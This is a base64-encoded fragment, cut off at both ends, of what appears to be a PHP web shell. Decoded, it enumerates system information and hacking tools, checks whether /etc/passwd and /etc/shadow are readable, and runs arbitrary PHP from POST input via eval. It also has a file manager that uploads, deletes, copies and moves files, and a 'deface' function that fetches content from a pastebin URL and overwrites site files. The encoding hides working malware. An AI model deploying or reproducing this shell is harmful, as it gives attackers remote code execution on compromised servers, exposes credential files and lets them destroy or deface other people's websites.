c21hc2snLCd6bWJzY2FwJywnc2F3bWlsbCcsJ3dvcm1zY2FuJywnbmluamEnKTsNCiAgICAgICAgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7DQogICAgICAgIHNob3dTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsNCiAgICAgICAgc2hvd1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3NoYWRvdycsIEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiZXRjXCIsIFwic2hhZG93XCIpJz5bdmlld108L2E+Ijonbm8nKTsNCiAgICAgICAgc2hvd1NlY1BhcmFtKCdPUyB2ZXJzaW9uJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpOw0KICAgICAgICBzaG93U2VjUGFyYW0oJ0Rpc3RyIG5hbWUnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOw0KICAgICAgICBpZighJEdMT0JBTFNbJ3NhZmVfbW9kZSddKSB7DQogICAgICAgICAgICBlY2hvICc8YnI+JzsNCiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkdXNlcmZ1bCBhcyAkaXRlbSkNCiAgICAgICAgICAgICAgICBpZih3aGljaCgkaXRlbSkpeyR0ZW1wW109JGl0ZW07fQ0KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQogICAgICAgICAgICAkdGVtcD1hcnJheSgpOw0KICAgICAgICAgICAgZm9yZWFjaCAoJGRhbmdlciBhcyAkaXRlbSkNCiAgICAgICAgICAgICAgICBpZih3aGljaCgkaXRlbSkpeyR0ZW1wW109JGl0ZW07fQ0KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEYW5nZXInLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pIA0KICAgICAgICAgICAgICAgIGlmKHdoaWNoKCRpdGVtKSl7JHRlbXBbXT0kaXRlbTt9DQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0Rvd25sb2FkZXJzJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQogICAgICAgICAgICBlY2hvICc8YnIvPic7DQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0hvc3RzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOw0KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdIREQgc3BhY2UnLCBleCgnZGYgLWgnKSk7DQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ01vdW50IG9wdGlvbnMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvZnN0YWInKSk7DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICBzaG93U2VjUGFyYW0oJ09TIFZlcnNpb24nLGV4KCd2ZXInKSk7IA0KICAgICAgICBzaG93U2VjUGFyYW0oJ0FjY291bnQgU2V0dGluZ3MnLGV4KCduZXQgYWNjb3VudHMnKSk7IA0KICAgICAgICBzaG93U2VjUGFyYW0oJ1VzZXIgQWNjb3VudHMnLGV4KCduZXQgdXNlcicpKTsNCiAgICB9DQogICAgZWNobyAnPC9kaXY+JzsNCiAgICBwcmludEZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25QaHAoKSB7DQogICAgaWYoIGlzc2V0KCRfUE9TVFsnYWpheCddKSApIHsNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOw0KICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICBldmFsKCRfUE9TVFsncDEnXSk7DQogICAgICAgICR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlwNClwNClx0XFwnXDAiKS4iJztcDQoiOw0KICAgICAgICBlY2hvIHN0cmxlbigkdGVtcCksICJcDQoiLCAkdGVtcDsNCiAgICAgICAgZXhpdDsgDQogICAgfQ0KICAgIHByaW50SGVhZGVyKCk7DQogICAgaWYoIGlzc2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpICkgew0KICAgICAgICBlY2hvICc8aDE+UEhQIGluZm88L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICBwaHBpbmZvKCk7DQogICAgICAgICR0bXAgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIWJvZHkgey4qfSFtc2lVJywnJywkdG1wKTsNCiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIWE6XHcrIHsuKn0hbXNpVScsJycsJHRtcCk7DQogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyFoMSFtc2lVJywnaDInLCR0bXApOw0KICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7DQogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyFib2R5LCB0ZCwgdGgsIGgyLCBoMiB7Lip9IW1zaVUnLCcnLCR0bXApOw0KICAgICAgICBlY2hvICR0bXA7DQogICAgICAgIGVjaG8gJzwvZGl2Pjxicj4nOw0KICAgIH0NCiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOw0KICAgICAgICBlY2hvICc8aDE+UEhQLUNvZGUgRXhlY3V0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1wZiBtZXRob2Q9cG9zdCBvbnN1Ym1pdD0iaWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY29kZS52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpO31yZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT1jb2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nLighZW1wdHkoJF9QT1NUWydwMSddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6JycpLic8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1FdmFsIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+JzsNCiAgICBlY2hvICcgPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oQCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYPC9mb3JtPjxwcmUgaWQ9UGhwT3V0cHV0IHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9bWwxPic7DQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgZXZhbCgkX1BPU1RbJ3AxJ10pOw0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpOw0KICAgIH0NCiAgICBlY2hvICc8L3ByZT48L2Rpdj4nOw0KICAgIHByaW50Rm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkZpbGVzTWFuKCkgew0KICAgIHByaW50SGVhZGVyKCk7DQogICAgZWNobyAnPGgxPkZpbGUgbWFuYWdlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSAmJiAkX1BPU1RbJ3AxJ10hPSdkZWZhY2UnKSB7DQogICAgICAgIHN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsNCiAgICAgICAgICAgIGNhc2UgJ3VwbG9hZEZpbGUnOg0KICAgICAgICAgICAgICAgIGlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWyduYW1lJ10pKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCB1cGxvYWQgZmlsZSEiOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAnbWtkaXInOg0KICAgICAgICAgICAgICAgIGlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgY3JlYXRlIG5ldyBkaXIiOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAnZGVsZXRlJzoNCiAgICAgICAgICAgICAgICBmdW5jdGlvbiBkZWxldGVEaXIoJHBhdGgpIHsNCiAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsNCiAgICAgICAgICAgICAgICAgICAgJGRoICA9IG9wZW5kaXIoJHBhdGgpOw0KICAgICAgICAgICAgICAgICAgICB3aGlsZSAoICgkaXRlbSA9IHJlYWRkaXIoJGRoKSApICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW0gPSAkcGF0aC4kaXRlbTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICggKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikgKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUgPSBmaWxldHlwZSgkaXRlbSk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHR5cGUgPT0gImRpciIpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVsZXRlRGlyKCRpdGVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRpdGVtKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBjbG9zZWRpcigkZGgpOw0KICAgICAgICAgICAgICAgICAgICBybWRpcigkcGF0aCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpDQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRmID0gdXJsZGVjb2RlKCRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVsZXRlRGlyKCRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRmKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAncGFzdGUnOg0KICAgICAgICAgICAgICAgIGlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ2NvcHknKSB7DQogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRjLiRzKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJGQuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gb3BlbmRpcigkYy4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY29weSgkYy4kcywgJGQuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpDQogICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRfU0VTU0lPTlsnY3dkJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7ICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICB9IGVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICdtb3ZlJykgew0KICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBtb3ZlX3Bhc3RlKCRjLCRzLCRkKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkYy4kcykpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IG9wZW5kaXIoJGMuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGNvcHkoJGMuJHMsICRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKQ0KICAgICAgICAgICAgICAgICAgICAgICAgQHJlbmFtZSgkX1NFU1NJT05bJ2N3ZCddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bJ2YnXSk7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBkZWZhdWx0Og0KICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pICYmICgoJF9QT1NUWydwMSddID09ICdjb3B5Jyl8fCgkX1BPU1RbJ3AxJ10gPT0gJ21vdmUnKSkgKSB7DQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnYWN0J10gPSBAJF9QT1NUWydwMSddOw0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsNCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkayA9PiAkZikNCiAgICAgICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddWyRrXSA9IHVybGRlY29kZSgkZik7DQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnY3dkJ10gPSBAJF9QT1NUWydjJ107DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gJzxzY3JpcHQ+ZG9jdW1lbnQubWYucDEudmFsdWU9IiI7ZG9jdW1lbnQubWYucDIudmFsdWU9IiI7PC9zY3JpcHQ+JzsNCiAgICB9DQogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSAmJiAkX1BPU1RbJ3AxJ109PSdkZWZhY2UnKSB7DQogICAgICAgICRkZWYgPSBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3Bhc3RlYmluLmNvbS9kb3dubG9hZC5waHA/aT1RNzJURVY5QicpOw0KICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkX1BPU1RbJ2MnXS4kX1BPU1RbJ3AyJ10sJGRlZik7DQogICAgfQ0KICAgICRkaXJDb250ZW50ID0gQHNjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQogICAgaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7ICAgIGVjaG8gJ0NhblwndCBvcGVuIHRoaXMgZm9sZGVyISc7IHJldHVybjsgICAgfQ0KICAgIGdsb2JhbCAkc29ydDsNCiAgICAkc29ydCA9IGFycmF5KCduYW1lJywgMSk7DQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCiAgICAgICAgaWYocHJlZ19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ3AxJ10sICRtYXRjaCkpDQogICAgICAgICAgICAkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOw0KICAgIH0NCiAgICBlY2hvICc8c2NyaXB0Pg0KICAgICAgICBmdW5jdGlvbiBzYSgpIHsNCiAgICAgICAgICAgIGZvcihpPTA7aTxkb2N1bWVudC5maWxlcy5lbGVtZW50cy5sZW5ndGg7aSsrKQ0KICAgICAgICAgICAgaWYoZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbaV0udHlwZSA9PSBcJ2NoZWNrYm94XCcpDQogICAgICAgICAgICAgICAgZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbaV0uY2hlY2tlZCA9IGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7DQogICAgICAgIH0NCiAgICAgICAgPC9zY3JpcHQ+DQogICAgICAgIDx0YWJsZSB3aWR0aD1cJzEwMCVcJyBjbGFzcz1cJ21haW5cJyBjZWxsc3BhY2luZz1cJzBcJyBjZWxscGFkZGluZz1cJzJcJz4NCiAgICAgICAgPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD4nOw0KICAgIGVjaG8gIjx0cj48dGggd2lkdGg9JzEzcHgnPjxpbnB1dCB0eXBlPWNoZWNrYm94IG9uY2xpY2s9J3NhKCknIGNsYXNzPWNoa2J4PjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX25hbWVfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5OYW1lPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3NpemVfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5TaXplPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX21vZGlmeV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk1vZGlmeTwvYT48L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3Blcm1zXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+UGVybWlzc2lvbnM8L2E+PC90aD48dGg+QWN0aW9uczwvdGg+PC90cj4iOw0KICAgICRkaXJzID0gJGZpbGVzID0gJGxpbmtzID0gYXJyYXkoKTsNCiAgICAkbiA9IGNvdW50KCRkaXJDb250ZW50KTsNCiAgICBmb3IoJGk9MDskaTwkbjskaSsrKSB7DQogICAgICAgICRvdyA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSkpOw0KICAgICAgICAkZ3IgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pKTsNCiAgICAgICAgJHRtcCA9IGFycmF5KCduYW1lJyA9PiAkZGlyQ29udGVudFskaV0sDQogICAgICAgICAgICAgICAgICAgICAncGF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSwNCiAgICAgICAgICAgICAgICAgICAgICdtb2RpZnknID0+IEBkYXRlKCdZLW0tZCBIOmk6cycsQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSksDQogICAgICAgICAgICAgICAgICAgICAncGVybXMnID0+IHZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLA0KICAgICAgICAgICAgICAgICAgICAgJ3NpemUnID0+IEBmaWxlc2l6ZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwNCiAgICAgICAgICAgICAgICAgICAgICdvd25lcicgPT4gJG93WyduYW1lJ10/JG93WyduYW1lJ106QGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pLA0KICAgICAgICAgICAgICAgICAgICAgJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXT8kZ3JbJ25hbWUnXTpAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkNCiAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgaWYoQGlzX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpDQogICAgICAgICAgICAkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsNCiAgICAgICAgZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKQ0KICAgICAgICAgICAgJGxpbmtzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2xpbmsnKSk7DQogICAgICAgIGVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pJiYgKCRkaXJDb250ZW50WyRpXSAhPSAiLiIpKQ0KICAgICAgICAgICAgJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOw0KICAgIH0NCiAgICAkR0xPQkFMU1snc29ydCddID0gJHNvcnQ7DQogICAgZnVuY3Rpb24gY21wKCRhLCAkYikgew0KICAgICAgICBpZigkR0xPQkFMU1snc29ydCddWzBdICE9ICdzaXplJykNCiAgICAgICAgICAgIHJldHVybiBzdHJjbXAoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0sICRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsNCiAgICAgICAgZWxzZQ0KICAgICAgICAgICAgcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsNCiAgICB9DQogICAgdXNvcnQoJGZpbGVzLCAiY21wIik7DQogICAgdXNvcnQoJGRpcnMsICJjbXAiKTsNCiAgICB1c29ydCgkbGlua3MsICJjbXAiKTsNCiAgICAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGxpbmtzLCAkZmlsZXMpOw0KICAgICRsID0gMDsNCiAgICBmb3JlYWNoKCRmaWxlcyBhcyAkZikgew0KICAgICAgICBlY2hvICc8dHInLigkbD8nIGNsYXNzPWwxJzonJykuJz48dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT0iZltdIiB2YWx1ZT0iJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJyIgY2xhc3M9Y2hrYng+PC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9IicuKCgkZlsndHlwZSddPT0nZmlsZScpPydnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndmlld1wnKSI+Jy5odG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pOidnKFwnRmlsZXNNYW5cJyxcJycuJGZbJ3BhdGgnXS4nXCcpOyI+PGI+WyAnLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSkuJyBdPC9iPicpLic8L2E+PC90ZD48dGQ+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/dmlld1NpemUoJGZbJ3NpemUnXSk6JGZbJ3R5cGUnXSkuJzwvdGQ+PHRkPicuJGZbJ21vZGlmeSddLic8L3RkPjx0ZD4nLiRmWydvd25lciddLicvJy4kZlsnZ3JvdXAnXS4nPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJyxcJ2NobW9kXCcpIj4nLiRmWydwZXJtcyddDQogICAgICAgICAgICAuJzwvdGQ+PHRkPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdyZW5hbWVcJykiPlI8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd0b3VjaFwnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdlZGl0XCcpIj5FPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZG93bmxvYWRcJykiPkQ8L2E+JzonJykuJzwvdGQ+PC90cj4nOw0KICAgICAgICAkbCA9ICRsPzA6MTsNCiAgICB9DQogICAgZWNobyAnPHRyPjx0ZCBjb2xzcGFuPTU+DQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT1cJ0ZpbGVzTWFuXCc+DQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+DQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4NCiAgICA8c2VsZWN0IG5hbWU9XCdwMVwnPjxvcHRpb24gdmFsdWU9XCdjb3B5XCc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCdtb3ZlXCc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCdkZWxldGVcJz5EZWxldGU8L29wdGlvbj4nOw0KICAgIGlmKCFlbXB0eSgkX1NFU1NJT05bJ2FjdCddKSYmQGNvdW50KCRfU0VTU0lPTlsnZiddKSl7ZWNobyAnPG9wdGlvbiB2YWx1ZT1cJ3Bhc3RlXCc+UGFzdGU8L29wdGlvbj4nOyB9DQogICAgZWNobyAnPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4+Ij48L3RkPjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0icmlnaHQiIHdpZHRoPSIxIj48aW5wdXQgbmFtZT0iZGVm